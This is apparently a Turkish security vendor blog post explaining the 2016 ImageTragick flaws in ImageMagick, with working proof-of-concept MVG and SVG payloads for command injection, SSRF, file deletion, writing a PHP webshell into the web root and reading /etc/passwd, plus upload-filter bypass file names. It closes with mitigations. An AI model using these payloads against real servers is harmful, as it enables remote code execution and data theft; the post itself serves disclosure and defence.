ImageTragick Zafiyeti

Web sayfalarındaki diğer tüm girdi noktaları gibi, File Upload fonksiyonunun kendisi de, üzerinde saldırı modellemesi (threat modelling) yapılması gerekli bir alan. Bu sebeple Netsparker saldırgan perspektifinden uygulamanızı incelerken, bulunan bir File Upload fonksiyonunu aşağıdaki şekilde raporluyor:

Geliştiricilerin yalnızca kodunu iyi tanıması değil; uygulamalarının üzerinde çalıştığı sistemi de iyi tanıması, File Upload fonksiyonu üzerinden uygulamaya enjekte edilecek zararlı kodların bertaraf edilmesi için çok önemli.

Bu sebeple, girdi denetleme, filtreleme ve temizleme işlemini, dosyanın adında, uzantısında, içeriğinde yapmalısınız.

Siz sadece JPG ya da PNG gibi bilinen resim uzantılarını kabul ediyor olabilirsiniz. IIS 6.0 ve önceki bir versiyonda bu filtreniz, zararlı dosyaya file.asp;.jpg gibi bir isim verilerek kolaylıkla by-pass edilebilecekti.

Bir örnek de Apache'den verelim: Eğer geliştirici ile zararlı kabul ettiği dosya uzantılarını kara listeye aldı ise, rahatlıkla file.php.blah gibi bir dosya ismi ile bu filtreyi atlatmak mümkün olacaktı. Zira Apache blah isimli uzantıyı nasıl yorumlayabileceğini bilmediği için, bir sonraki uzantı olan .php uzantısına geçecek ve zararlı kod yine çalıştırılmış olacaktı.

Bunlar bilinen senaryolar ve evasion teknikleri olarak literatürde uzun zamandır kendine yer bulmuş metotlar.

Bu yazımızda suret-i haktan görünen image dosyalarına yerleştirilen zararlı kodlar ile, yaygın bir resim işleme kütüphanesindeki zafiyetin birleştirilerek nasıl dosya okuma, silme, sunucu üzerinden diğer kaynaklara istek yapma gibi zafiyetlere neden olabileceğini ve bu zafiyetlerin nasıl istismar edildiğini göreceğiz.

ImageMagick, açık kaynak kodlu bir resim işleme kütüphanesi. Bu kütüphane sayesinde resimleri resize etmek, watermark eklemek, kesmek gibi çeşitli işlemler yapabilmek mümkün.

PHP'de kullanılan imagick, Ruby'de kullanılan paperclip, rmagick, nodejs'de kullanılan imagemagick kütüphaneleri, ImageMagick üzerine bina edilmiş kütüphaneler.

Web'de bu kadar yaygın olarak kullanılan ImageMagick kütüphanesinde keşfedilen zafiyet 3 Mayıs 2016 tarihinde, www.imagetragick.com üzerinden yayınlandı.

Gelin ayrıntılarını hep birlikte inceleyelim:

CVE-2016-3714

ImageMagick kütüphanesi delegate olarak bilinen özelliği sayesinde, kendisinde tanımlı olan psuedo protokoller ve farklı türdeki istekleri, harici komutlar ile işliyor. Örneğin, curl ile, wget ile. ImageMagick kütüphanesi bu komutları system() çağrısı olarak çalıştırırken, delegates.xml dosyasında, ilgili delegates için tanımlı olan komutları gönderiyor.

Resimdeki işaretli satırda https çağrılarına atanan delegate ve komutları görüyorsunuz:

"wget" -q -O "%o" "https:%M"

https çağrısına atanan delege'deki %M parametresinin yetersiz filtrelenmesi nedeniyle Command Injection mümkün:

%M parametresinin değeri 'https://example.com";|ls "-la' payload'u ile aşağıdaki sonuç alınabilir:

ImageMagick ayrıca, svg, mvg gibi dosyaları da destekliyor. Aşağıda göreceğimiz gibi svg ve mvg dosyalarına yerleştirilmiş çeşitli payloadlar ile sunucu üzerindeki dosyaları okumak, dosyaların yerleri değiştirilebilmek ve silebilmek mümkün:

Aşağıdaki exploit.mvg dosyasını convert edilmek istendiği takdirde ls -la komutları da çalışacak ve çalışma dizinindeki dosyaların listesi görüntülenecektir:

exploit.mvg

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg";|ls "-la)'
pop graphic-context

exploit.svg

<svg height="480px" version="1.1" width="640px" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns="http://www.w3.org/2000/svg">
<image height="640px" width="480px" x="0" xlink:href="https://example.com/image.jpg&quot;|ls &quot;-la" y="0">
</image></svg>

ImageMagick için uzantının bir önemi yok. ImageMagick dosya tipine, içeriğine bakarak karar veriyor. Dolayısı ile .svg ve .mvg dosyalarına izin vermeyen bir sunuculara aynı payload'u .jpg, .png ya da dilediğiniz bir uzantı ile yükleyebilirsiniz.

CVE-2016-3718 - SSRF

SSRF bilineceği üzere, saldırganın sunucu üzerinden, diğer kaynaklara istek yaptırması ve bu istekler üzerinden sunucuya güvenen sistemlerle sunucu arasındaki güven ilişkisini istismar etmesidir.

ImageTragick vasıtası ile aşağıdaki tarzda bir dosya yükleyerek, X bir siteye istek yapabilirsiniz.

ssrf.mvg

push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context

Sunucu tarafında aşağıdaki gibi bir kod çalıştırılıp, dosya convert edilmek istendiğinde, example.com 'a sunucu üzerinden istek yapılacaktır.

convert ssrf.mvg out.png

CVE-2016-3715 - File deletion

ImageMagick'in 'ephemeral' olarak bilinen protokolünü kullanarak dosya silmek de mümkün:

delete_file.mvg:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context

Aşağıdaki kod ile delete.txt isminde bir dosya oluşturalım:

$ touch /tmp/delete.txt

ve ardından mvg dosyamızı convert ettiğimiz esnada, bu dosyanın silindiğini görebiliriz:

$ convert delete_file.mvg out.png # deletes /tmp/delete.txt

CVE-2016-3716 - File moving

ImageMagick'in msl olarak bilinen bir diğer protokolünü kullanarak herhangi bir dizin içerisindeki, herhangi bir uzantıya sahip dosyayı taşımak, bir başka dosyayı override edebilmek mümkün.

Aşağıdaki PoC'u direkt imagetragick.com 'dan aldım. Bir önkoşul olarak msl.txt ve image.gif 'in bilinen bir dizinde (/tmp dizini) olması gerekli.

file_move.mvg:

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context

/tmp/msl.txt

<image>
<read filename="/tmp/image.gif">
<write filename="/var/www/shell.php">
</write></read></image>

Yukarıda kullanılan image.gif isimli dosya içerisinde PHP kodu enjekte edimiş bir dosya (https://www.secgeek.net/POC/POC.gif). Aşağıdaki kodun çalışması ile birlikte image.gif dosya içeriği, /var/www/shell.php ismi ile web ana dizinine yazılacaktır. Böylece kolaylıkla bir sayfayı deface edebilmek mümkün:

$ convert file_move.mvg out.png # moves /tmp/image.gif to /var/www/shell.php

CVE-2016-3717 - Local file read

ImageMagick kütüphanesinde benim en çok dikkatimi çeken zafiyet bu oldu. LFI (Local File Inclusion) olarak bilinen, sunucu üzerindeki herhangi bir dosyayı okumak bu yolla mümkün. Fark şu ki, bu zafiyet ile birlikte dosya içeriği bir image içerisinde elde edilebiliyor. Elde ettiğiniz çıktı bir resim çıktısı olacak. Bu zafiyeti istismar ederken, ImageMagick'in label protokolünü kullanacağız.

file_read.mvg

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context

$ convert file_read.mvg out.png

out.png dosyasını çağırdığınızda, örneğin http://www.victim.com/out.png adresinden /etc/passwd dosyasının içeriğini görebilirsiniz:

Peki ne yapmalı?

Netsparker olarak, zafiyetin yayınlanmasından (3 Mayıs), bir gün sonra engine'lerimiz arasına ImageTragick zafiyetini ekleyerek raporlamaya başladık:

Code Execution via File Upload olarak karşınıza çıkan bu zafiyeti nasıl fixleyebilirsiniz?

İlk olarak, genellikle/etc/ImageMagick dizini içerisinde bulunan policy.xml dosyasındaki, yukarıda andığımız ve zafiyetleri sebep olan protokolleri disable etmelisiniz: URL, EPHEMERAL, MVG, MSL, HTTPS:

Dosya girdi türünü JPG, GIF,PNG gibi ImageMagick'de, diğer dosya türlerine nazaran daha güvenli bir şekilde işlenen türlerden biri olması şeklinde zorlayabilirsiniz:

convert [...other params...] -- jpg:input-file.jpg jpg:output-file.jpg

ImageMagick kütüphanesini sandbox ile izole bir hale getirmek de önerilen tedbirler arasında zikredilebilir.